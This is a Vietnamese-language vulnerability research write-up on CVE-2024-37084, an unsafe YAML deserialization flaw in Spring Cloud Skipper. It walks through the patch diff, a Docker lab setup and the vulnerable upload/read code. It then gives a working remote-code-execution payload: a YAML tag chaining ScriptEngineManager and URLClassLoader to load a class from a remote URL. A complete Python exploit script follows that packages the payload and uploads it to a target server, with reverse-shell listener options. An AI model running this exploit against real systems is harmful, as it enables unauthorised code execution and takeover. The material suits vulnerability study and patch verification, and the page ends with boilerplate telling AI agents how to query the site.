# CVE-2024-37084: Spring Cloud Remote Code Execution

**Demo Exploit RCE**&#x20;

{% embed url="<https://www.youtube.com/watch?v=0CA94x7-P8s>" %}

## Review&#x20;

* About CVE&#x20;

CVE-2024-37084 là lỗ hổng bảo mật  trong Spring Cloud Skipper, liên quan cụ thể đến cách ứng dụng xử lý input data YAML.&#x20;

Lỗ hổng phát sinh từ việc sử dụng hàm tạo Yaml chuẩn (standard **Yaml** constructor) , cho phép hủy tuần tự hóa (deserialization )các object tùy ý. Từ đây attacker có thể tận dụng để  khai thác bằng cách cung cấp dữ liệu YAML độc hại (malicious **YAML** data) , có khả năng dẫn đến thực thi mã từ xa      ( RCE ) .&#x20;

Lỗ hổng ảnh hưởng đến các phiên bản **2.11.x & 2.10.x** của Spring Cloud Skipper.&#x20;

## DiffCode

* **Diffing**&#x20;

Bản vá cho CVE-2024-37084, được nêu chi tiết trên GitHub có thể so sánh source code , diff nó với bản 2.11.x hoặc theo dõi thay đổi trên github về report này&#x20;

<figure><img src="/files/h3HgzGAvaQ2ggE5wc6Ag" alt=""><figcaption></figcaption></figure>

Các thay đổi tác động đến một số file đặc biệt là hàm  `SafeConstructor` để đảm bảo YAML deserialization an toàn hơn so với bản 2.11.x , ở đây mình sẽ dùng bản 2.11.0.&#x20;

<figure><img src="/files/Erzj6Lhsv5LVlyB5H6KZ" alt=""><figcaption></figcaption></figure>

* **Update Constructor cho PackageMetadata**

File `PackageMetadataSafeConstructor.java` -> Update của file PackageMetadata có 1 số thay đổi , ta sẽ xem code diff ở đây :&#x20;

<figure><img src="/files/lMPj0LHf5Gc3FWrYzsde" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fiDwqPv7BEj5ahoY9R6N" alt=""><figcaption></figcaption></figure>

[Link github report về diff code ](https://github.com/spring-cloud/spring-cloud-dataflow/commit/bcb060d8ba985a851a1efb15bcc85653293b7eef?diff=split\&w=1#diff-23ebf8c710d1b79980bca4c18851cd58097f498b6cdb7f71666adfdca6d8d485)giữa versoin 2.11.0 tồn tại lỗ hổng yaml deserialze của CVE này và version sau khi patch :&#x20;

Update `PackageMetadataSafeConstructor` an toàn deserializing object hơn so với bản 2.11.0 là `PackageMetadata`.

## Set Up&#x20;

Download bản 2.11.0 Spring Cloud Data Flow trên link GitHub :&#x20;

{% embed url="<https://github.com/spring-cloud/spring-cloud-dataflow/releases>" %}

Trong `spring-cloud-dataflow-2.11.0/src/docker-compose,`  mở  file `docker-compose.yml`,

Thêm&#x20;

`JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address =*:5005` vào mục  environment skipper-server để setup debug :&#x20;

<figure><img src="/files/tiimBEMKnIBykyLvz723" alt=""><figcaption></figcaption></figure>

Để có thể debug remote ở localhost với port listen là 5005 nên phần ports cũng cần thêm port 5005

Để deloy chạy lệnh :&#x20;

```
sudo docker-compose up -d
```

Sau khi chạy thành công sẽ có thể xem được dashboard và Skipper Server API :&#x20;

<figure><img src="/files/T34n8m3MgVNqWVfZzRME" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NLvAqUxbNRaIhIE1iSUo" alt=""><figcaption></figcaption></figure>

## Analysis

View hàm `upload()` ở `spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java:`

<figure><img src="/files/LIGxwwPCD5GRO8VVTtef" alt=""><figcaption></figcaption></figure>

Soure code :&#x20;

```java
	public PackageMetadata upload(UploadRequest uploadRequest) {
		validateUploadRequest(uploadRequest);
		Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
		Path packageDirPath = null;
		try {
			packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
			File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
			packageDir.mkdir();
			Path packageFile = Paths
					.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-"
							+ uploadRequest.getVersion() + "." + uploadRequest.getExtension());
			Assert.isTrue(packageDir.exists(), "Package directory doesn't exist.");
			Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
			ZipUtil.unpack(packageFile.toFile(), packageDir);
			String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName()
					+ "-" + uploadRequest.getVersion();
			File unpackagedFile = new File(unzippedPath);
			Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
			Package packageToUpload = this.packageReader.read(unpackagedFile);
			PackageMetadata packageMetadata = packageToUpload.getMetadata();
			if (!packageMetadata.getName().equals(uploadRequest.getName())
					|| !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
				throw new SkipperException(String.format("Package definition in the request [%s:%s] " +
								"differs from one inside the package.yml [%s:%s]",
						uploadRequest.getName(), uploadRequest.getVersion(),
						packageMetadata.getName(), packageMetadata.getVersion()));
			}
			if (localRepositoryToUpload != null) {
				packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
				packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
			}
			packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
			return this.packageMetadataRepository.save(packageMetadata);
		}
		catch (IOException e) {
			throw new SkipperException("Failed to upload the package.", e);
		}
		finally {
			if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
				logger.warn("Temporary directory can not be deleted: " + packageDirPath);
			}
		}
	}
```

#### Tóm tắt

1. **Xác thực yêu cầu tải lên**.
2. **Tạo thư mục tạm thời** để lưu trữ package.
3. **Giải nén package** để kiểm tra nội dung.
4. **Xác thực metadata** trong package để đảm bảo tính hợp lệ.
5. **Lưu metadata** vào cơ sở dữ liệu và liên kết với repository.
6. **Xóa các file tạm** sau khi hoàn tất.

#### 1. **Xác thực yêu cầu tải lên**

```java
validateUploadRequest(uploadRequest);
```

* Hàm này kiểm tra dữ liệu của yêu cầu tải lên để đảm bảo rằng nó hợp lệ trước khi tiếp tục.

#### 2. **Lấy repository để tải lên**

```java
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
```

* Xác định repository  mà package sẽ được tải lên dựa trên tên repository được cung cấp trong yêu cầu.

#### 3. **Tạo thư mục tạm thời và tạo package file**

```java
packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
```

* Tạo một thư mục tạm thời trên hệ thống để chứa package tải lên. Sau đó, một file tạm thời được tạo ra từ dữ liệu của package và lưu vào thư mục này.

#### 4. **Giải nén file tải lên**

```java
ZipUtil.unpack(packageFile.toFile(), packageDir);
```

* Sau khi file được tải lên, nó sẽ được giải nén để có thể đọc và xử lý dữ liệu bên trong.

#### 5. **Xác minh package đã giải nén tồn tại**

```java
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
```

* Xác nhận rằng quá trình giải nén đã diễn ra thành công và file đã giải nén tồn tại.

#### 6. **Đọc và xác thực metadata của package**

```java
Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName()) || !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
	throw new SkipperException(String.format("Package definition in the request [%s:%s] differs from one inside the package.yml [%s:%s]",
			uploadRequest.getName(), uploadRequest.getVersion(), packageMetadata.getName(), packageMetadata.getVersion()));
}
```

* Đọc metadata từ package đã giải nén và so sánh với dữ liệu yêu cầu tải lên&#x20;

#### 7. **Lưu metadata và liên kết với repository**

```java
if (localRepositoryToUpload != null) {
	packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
	packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);
```

* Link package metadata với repository tương ứng (nếu có), rồi lưu metadata của package vào database

#### 8. **Xử lý exception và xóa thư mục tạm thời**

```java
finally {
	if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
		logger.warn("Temporary directory can not be deleted: " + packageDirPath);
	}
}
```

* Thư mục tạm thời được tạo ra trước đó sẽ được xóa sau khi quá trình hoàn thành. Nếu không thể xóa được, ghi lại cảnh báo vào log.

Method `read()` qua file `DefaultPackageReader.java` khi ta search link method này trong project :&#x20;

<figure><img src="/files/h5p1TXPp5NI9OS7zphcS" alt=""><figcaption></figcaption></figure>

Source code :&#x20;

```java
public class DefaultPackageReader implements PackageReader {

	@Override
	public Package read(File packageDirectory) {
		Assert.notNull(packageDirectory, "File to load package from can not be null");
		List<File> files;
		try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
			files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
		}
		catch (IOException e) {
			throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
		}
		Package pkg = new Package();
		List<FileHolder> fileHolders = new ArrayList<>();
		// Iterate over all files and "deserialize" the package.
		for (File file : files) {
			// Package metadata
			if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
				pkg.setMetadata(loadPackageMetadata(file));
				continue;
			}

			if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
				fileHolders.add(loadManifestFile(file));
				continue;
			}

			// Package property values for configuration
			if (file.getName().equalsIgnoreCase("values.yaml") ||
					file.getName().equalsIgnoreCase("values.yml")) {
				pkg.setConfigValues(loadConfigValues(file));
				continue;
			}

			// The template files
			final File absoluteFile = file.getAbsoluteFile();
			if (absoluteFile.isDirectory() && absoluteFile.getName().equals("templates")) {
				pkg.setTemplates(loadTemplates(file));
				continue;
			}

			// dependent packages
			if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
				File[] dependentPackageDirectories = file.listFiles();
				List<Package> dependencies = new ArrayList<>();
				for (File dependentPackageDirectory : dependentPackageDirectories) {
					dependencies.add(read(dependentPackageDirectory));
				}
				pkg.setDependencies(dependencies);
			}
		}
		if (!fileHolders.isEmpty()) {
			pkg.setFileHolders(fileHolders);
		}
		return pkg;
	}

	private List<Template> loadTemplates(File templatePath) {
		List<File> files;
		try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
			files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
		}
		catch (IOException e) {
			throw new SkipperException("Could not process files in template path " + templatePath, e);
		}

		List<Template> templates = new ArrayList<>();
		for (File file : files) {
			if (isYamlFile(file)) {
				Template template = new Template();
				template.setName(file.getName());
				try {
					template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
				}
				catch (IOException e) {
					throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
				}
				templates.add(template);
			}
		}
		return templates;
	}

	private boolean isYamlFile(File file) {
		Path path = Paths.get(file.getAbsolutePath());
		String fileName = path.getFileName().toString();
		if (!fileName.startsWith(".")) {
			return (fileName.endsWith("yml") || fileName.endsWith("yaml"));
		}
		return false;
	}

	private ConfigValues loadConfigValues(File file) {
		ConfigValues configValues = new ConfigValues();
		try {
			configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
		}
		catch (IOException e) {
			throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
		}
		return configValues;
	}

	private FileHolder loadManifestFile(File file) {
		try {
			return new FileHolder(file.getName(), Files.readAllBytes(file.toPath()));
		}
		catch (IOException e) {
			throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
		}
	}

	private PackageMetadata loadPackageMetadata(File file) {
		// The Representer will not try to set the value in the YAML on the
		// Java object if it isn't present on the object
		DumperOptions options = new DumperOptions();
		Representer representer = new Representer(options);
		representer.getPropertyUtils().setSkipMissingProperties(true);
		LoaderOptions loaderOptions = new LoaderOptions();
		Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
		String fileContents = null;
		try {
			fileContents = FileUtils.readFileToString(file);
		}
		catch (IOException e) {
			throw new SkipperException("Error reading yaml file", e);
		}
		PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
		return pkgMetadata;
	}
}
```

* Hàm `read()` của lớp `DefaultPackageReader` duyệt qua thư mục của package, phân tích các file YAML, manifest, cấu hình, và template để tạo đối tượng `Package` hoàn chỉnh.
* Nó xử lý các file theo loại, kiểm tra và tải chúng vào các object Java tương ứng.
* Sử dụng thư viện SnakeYAML để đọc và ánh xạ các file YAML thành đối tượng `PackageMetadata`.
* Vuln sẽ nằm ở hàm này.

Quá trình đọc này giúp tải và chuẩn bị package để sử dụng trong các bước tiếp theo.

Cụ thể hơn hàm `read()` trong `DefaultPackageReader`&#x20;

#### 1. **Kiểm tra và duyệt qua các file trong thư mục**

```java
Assert.notNull(packageDirectory, "File to load package from can not be null");
try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
    files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
    throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
}
```

* Kiểm tra thư mục truyền vào có hợp lệ không. Sau đó sử dụng `Files.walk()` để duyệt qua các file trong thư mục, lấy danh sách file và lưu vào `files`.
* Đảm bảo rằng thư mục không rỗng và xử lý exception trong trường hợp không thể đọc được.

#### 2. **Xử lý từng file**

```java
for (File file : files) {
    if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
        pkg.setMetadata(loadPackageMetadata(file)); // note 
        continue;
    }
    if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
        fileHolders.add(loadManifestFile(file));
        continue;
    }
    if (file.getName().equalsIgnoreCase("values.yaml") || file.getName().equalsIgnoreCase("values.yml")) {
        pkg.setConfigValues(loadConfigValues(file));
        continue;
    }
    if (file.getAbsoluteFile().isDirectory() && file.getName().equals("templates")) {
        pkg.setTemplates(loadTemplates(file));
        continue;
    }
    if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
        File[] dependentPackageDirectories = file.listFiles();
        List<Package> dependencies = new ArrayList<>();
        for (File dependentPackageDirectory : dependentPackageDirectories) {
            dependencies.add(read(dependentPackageDirectory));
        }
        pkg.setDependencies(dependencies);
    }
}
```

* Vòng lặp này duyệt qua các file, phân loại chúng theo từng loại cần xử lý:
  * **Metadata**: Nếu là file `package.yml` hoặc `package.yaml`, load metadata của package( có thể load code rce ).
  * **Manifest**: Xử lý các file manifest (file cấu hình).
  * **Config Values**: Load các giá trị cấu hình từ `values.yaml` hoặc `values.yml`.
  * **Templates**: Load các file template từ thư mục "templates".
  * **Dependencies**: Load có thư mục con "packages", nó sẽ load thêm các package phụ thuộc.

#### 3. **Load metadata của package**

```java
private PackageMetadata loadPackageMetadata(File file) {
    DumperOptions options = new DumperOptions();
    Representer representer = new Representer(options);
    representer.getPropertyUtils().setSkipMissingProperties(true);
    LoaderOptions loaderOptions = new LoaderOptions();
    Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
    String fileContents = null;
    try {
        fileContents = FileUtils.readFileToString(file);
    }
    catch (IOException e) {
        throw new SkipperException("Error reading yaml file", e);
    }
    PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
    return pkgMetadata;
}
```

* Hàm này sử dụng thư viện SnakeYAML để đọc file YAML và chuyển nó thành object`PackageMetadata`. Nó sử dụng `Constructor` để ánh xạ các thuộc tính của file YAML thành object  Java tương ứng.
* Đảm bảo rằng nếu có thuộc tính nào trong YAML không tồn tại trong đối tượng Java, nó sẽ bỏ qua mà không gây lỗi.

#### 4. **Load file template**

```java
private List<Template> loadTemplates(File templatePath) {
    try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
        files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
    }
    catch (IOException e) {
        throw new SkipperException("Could not process files in template path " + templatePath, e);
    }

    List<Template> templates = new ArrayList<>();
    for (File file : files) {
        if (isYamlFile(file)) {
            Template template = new Template();
            template.setName(file.getName());
            try {
                template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
            }
            catch (IOException e) {
                throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
            }
            templates.add(template);
        }
    }
    return templates;
}
```

* Hàm này duyệt qua thư mục "templates", đọc từng file YAML và chuyển đổi thành object `Template`. Nó load nội dung của file và lưu vào template để sử dụng sau&#x20;

#### 5. **Load config value**

```java
private ConfigValues loadConfigValues(File file) {
    ConfigValues configValues = new ConfigValues();
    try {
        configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
    }
    catch (IOException e) {
        throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
    }
    return configValues;
}
```

* Đọc file `values.yaml` hoặc `values.yml` và lưu trữ nội dung của nó trong đối tượng `ConfigValues`.

6.Load packageMetadata :&#x20;

```java
	private PackageMetadata loadPackageMetadata(File file) {
		// The Representer will not try to set the value in the YAML on the
		// Java object if it isn't present on the object
		DumperOptions options = new DumperOptions();
		Representer representer = new Representer(options);
		representer.getPropertyUtils().setSkipMissingProperties(true);
		LoaderOptions loaderOptions = new LoaderOptions();
		Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
		String fileContents = null;
		try {
			fileContents = FileUtils.readFileToString(file);
		}
		catch (IOException e) {
			throw new SkipperException("Error reading yaml file", e);
		}
		PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
		return pkgMetadata;
	}
```

```java
PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
```

* Nội dung của chuỗi YAML (`fileContents`) được chuyển đổi thành object `PackageMetadata` bằng cách sử dụng `yaml.load(fileContents)` từ thư viện SnakeYAML.
* **deserialization**: Khi SnakeYAML gặp phải các tag như `!!javax.script.ScriptEngineManager`, tạo object của các class Java tương ứng. Điều này có thể dẫn đến việc thực thi mã Java.

## Debug&#x20;

Chọn Edit :&#x20;

<figure><img src="/files/HtZGiBBeAlmuUrnnr5PG" alt=""><figcaption></figcaption></figure>

Chọn dấu + và thêm remote debug JVM :&#x20;

<figure><img src="/files/iwjDm5iTgIHXVJm4D1Qq" alt=""><figcaption></figcaption></figure>

Click ok , chú ý port listen đúng với port đã setup ( 5005 )&#x20;

<figure><img src="/files/vT5UdzSlOuiG91vPqJqW" alt=""><figcaption></figcaption></figure>

Đặt breakpoint tại hàm upload() đễ debug xem cách nó load file lên , đặt thêm ở các phần unzip file , check path để kiểm tra :&#x20;

<figure><img src="/files/1QelTnoJjb2E13qtnBnr" alt=""><figcaption></figcaption></figure>

Trước tiên chuẩn bị payload :&#x20;

Note : lỗ hổng yaml deserialize này có để cập trong **CVE-2022-1471**.

Yaml payload  : &#x20;

```yaml

repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 4.0.0
kind: test
origin: thePoc
displayName: anythings
name: thePoc

```

để payload ở tag nào cũng dc , mình sẽ để ở tag displayName&#x20;

Blog references : <https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471/>

Payload :&#x20;

```java
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
```

Sau khi deserialize -> tạo object -> instance ScriptEngineManager -> sử dụng URLClassLoader exec class từ 1 URL cụ thể ( ở đây là <http://localhost:8080>)

* `ScriptEngineManager` sẽ tải các script engine có thể từ URL `http://localhost:8080/`.
* `URLClassLoader` cho phép load các class từ URL đó.

```yaml

repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 4.0.0
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
name: thePoc

```

generate payload rce với : <https://github.com/artsploit/yaml-payload>

Chạy debug :&#x20;

<figure><img src="/files/HoZhUkqOh4IvT4KDgvkt" alt=""><figcaption></figcaption></figure>

Có thể thấy đã nhận được request gửi file lên với data là file yaml chứa payload sau khi zip ( dữ liệu dc covert thành các byte )&#x20;

Sau khi debug đến :&#x20;

<figure><img src="/files/9NJuupzXTzGUGdjjTxmS" alt=""><figcaption></figcaption></figure>

Đoạn kiểm tra này cần check  File zip  chứa folder của package, và folder nó sẽ phải đặt tên theo format `packageName-version`.

Sau đó đi đến hàm read() và đọc dữ liệu, deserialize và chuyển content -> object và có thể thực thi rce

Scipt exploit :

<pre class="language-python"><code class="lang-python"><strong>import os
</strong>import requests
import json
import zipfile
from pathlib import Path
import argparse

def create_package_yaml(version, payload_url, folder_path):
    package_content = f"""repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: {version}
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["{payload_url}"]]]]
name: thePoc
    """

    package_file_path = os.path.join(folder_path, "package.yaml")
    
    with open(package_file_path, 'w') as file:
        file.write(package_content)
    
    print(f"[+] Created package.yaml with version: {version}, payload URL: {payload_url}")

def zip_folder(folder_path, zip_file_path):
    with zipfile.ZipFile(zip_file_path, 'w', zipfile.ZIP_DEFLATED) as zipf:

        folder_name = os.path.basename(folder_path)
        
        for root, _, files in os.walk(folder_path):
            for file in files:
                full_path = os.path.join(root, file)
                relative_path = os.path.relpath(full_path, os.path.dirname(folder_path))
                zipf.write(full_path, relative_path)
                
    print(f"[+] Zipped folder to: {zip_file_path}")


def zip_to_byte_array(zip_file_path):
    with open(zip_file_path, 'rb') as zip_file:
        return list(zip_file.read())

def upload_package(url, version, package_file_as_bytes):
    upload_request = {
        "repoName": "local",
        "name": "thePoc",
        "version": version,
        "extension": "zip",
        "packageFileAsBytes": package_file_as_bytes
    }
    
    headers = {
        'Content-Type': 'application/json'
    }
    
    response = requests.post(url, headers=headers, data=json.dumps(upload_request))
    return response

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2024-37084 - Remote Code Execution",
        usage="python CVE-2024-37084-Poc.py --target_url &#x3C;target_url> --version &#x3C;version> --payload_url &#x3C;payload_url> [--listen_ip &#x3C;listen_ip>] [--listen_port &#x3C;listen_port>]"
    )

    parser.add_argument("--target_url", type=str, required=True, help="URL of the target server (e.g., http://target_ip:port/api/package/upload)")
    parser.add_argument("--version", type=str, required=True, help="Version of the package (e.g., 5.0.0)")
    parser.add_argument("--payload_url", type=str, required=True, help="URL to the malicious payload (e.g., https://too.lewd.se/yaml-payload.jar)")
    parser.add_argument("--listen_ip", type=str, default="0.0.0.0", help="IP to listen for the reverse shell (default: 0.0.0.0)")
    parser.add_argument("--listen_port", type=int, default=4444, help="Port to listen for the reverse shell (default: 4444)")

    if len(os.sys.argv) == 1:
        parser.print_help()
        os.sys.exit(1)

    args = parser.parse_args()

    folder_name = f"thePoc-{args.version}"
    zip_file_name = f"{folder_name}.zip"
    
    Path(folder_name).mkdir(parents=True, exist_ok=True)

    create_package_yaml(args.version, args.payload_url, folder_name)

    zip_folder(folder_name, zip_file_name)
    
    package_file_as_bytes = zip_to_byte_array(zip_file_name)

    print("[*] Uploading malicious package...")
    response = upload_package(args.target_url, args.version, package_file_as_bytes)
    
    print(f"Status Code: {response.status_code}")
    print(f"Response Body: {response.text}")

</code></pre>

Test rce :&#x20;

<figure><img src="/files/qmFEfB36WUamZ6CnvDtY" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kayiyan.gitbook.io/research/cve/cve-2024-37084-spring-cloud-remote-code-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
